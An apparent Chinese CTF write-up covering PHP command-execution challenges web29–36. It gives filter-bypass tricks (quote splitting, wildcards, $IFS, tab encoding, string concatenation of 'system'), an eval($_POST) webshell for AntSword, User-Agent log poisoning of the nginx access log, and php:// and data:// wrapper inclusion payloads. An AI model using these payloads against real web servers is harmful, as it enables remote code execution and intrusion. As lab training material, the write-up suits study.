#假期不断电,但是真的不想写作业,写点命令执行好了
-
web 29
有if (!preg_match (“/flag/i”, $c))
所以flag被过滤了,且/i说明不区分大小写,不管那么多,先找到flag在哪里,构造payload:?c=system("ls");发现存在文件flag.php,那很简单啦
常见绕过方法有:-
通配符
-
?通配符匹配单个字母
-
*通配符匹配多个字母
-
[x-x]或者是{x,x,x,x}
-
-
单双引号
-
单引号
-
双引号
-
反斜杠
以cat指令为例,假如cat被过滤了,我们可以通过
ca''t ca""t c"a"t ca\t这样来bypass -
-
编码绕过
比如用base64编码 -
变量赋值(拼贴)
假如我们要执行指令whoami,我们可以a=who;b=ami;$a.$b这样就会执行whoami指令
本题可以构造payload:
?c=system("tac fla?.php");当然,还有很多绕过方法,都可以试试的
-
-
web 30
过滤了flag、system、php,这里引入一下命令函数好了
命令函数又分为有回显和无回显:
有回显函数:
-
system
-
passthru
-
pcntl_exec
比较特殊,不可以在windows下运行
无回显函数:
-
exec
-
shell_exec
-
popen
他的返回值是一个流,我们需要用fread函数读取
-
反引号
其中有回显的直接执行就可以,无回显的需要类似于echo的操作才能看到执行结果
例如本题可以构造payload:
?c=passthru("ls"); ?c=echo `ls`;然后找到flag位置,用类似上一题的构造就可以拿到flag了
但是本题使用
?c=echo exec("ls");不太行,只能显示出index.php,具体原因我也不太清楚当然,如果你比较念旧,依旧想用system函数,也可以通过上一题介绍的过滤方法,例如:
?c=$a=sys;$b=tem;$d=$a.$b;$d("ls"); -
-
web 31
空格和小数点被过滤了,但是空格过滤也是有绕过方法的
空格绕过(并非每道题目都适用):
-
使用url编码:%20
-
Tab键替代:%09
-
非断行空格:%a0
-
利用shell变量:
$IFS$9 -
使用花括号,将命令和参数用逗号分隔并包裹在花括号中,比如
{cat,flag} -
使用重定向符号:<>
-
十六进制表示空格的ASCII编码:\x20
这题依旧多种解法:
-
常规绕过:
本题可以先用
?c=passthru("ls");找出flag,再构造payload:?c=passthru("tac\$IFS\$9fla*"); ?c=passthru("tac%09fla*");在
$前加上反斜杠\表转义,防止$被php解释为变量,$IFS$9只有在shell命令中被解释为空格 -
嵌套eval函数:
可以通过构造payload:
?c=eval($_GET[a]);&a=system('tac flag.php'); -
蚁剑连接:
构造payload:
?c=eval($_POST[1]);连接中国蚁剑

然后flag就开袋即食了
-
日志注入(
感觉昨天用了一天了)流程和昨天的文件包含差不多,查看web服务器后
构造payload:
?c=include%0a$_GET[1]?>&1=/var/log/nginx/access.log修改请求头
User-Agent: <?php @eval($_POST['cmd']); ?>看看成效

嗯嗯,不错不错(
应该没人发现这是web32的截图吧),接着蚁剑连接
依旧开袋即食
-
-
web 32~35
左括号也被过滤了,这时可以用文件包含的方法解决该问题
只需构造payload:
?c=include%0a$_GET[1]?>&1=伪协议伪协议详情可看我昨天发的文件包含,例如:
?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?> ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php ?c=include%0a$_GET[1]?>&1=php://input post数据:<?php system("tac flag.php")?>%0a可有可无
当然也可以用日志注入,具体步骤同上题
-
web 36
本来也想放上面一块的,但还是说一声,因为这题过滤数字,把上面方法的参数1改成字母就可以了(
文件包含还不超标?)
#本来还想做几题的,但是web37是文件包含,昨天做一天这类型了,今天歇会,晚点做做文件上传
586

被折叠的 条评论
为什么被折叠?



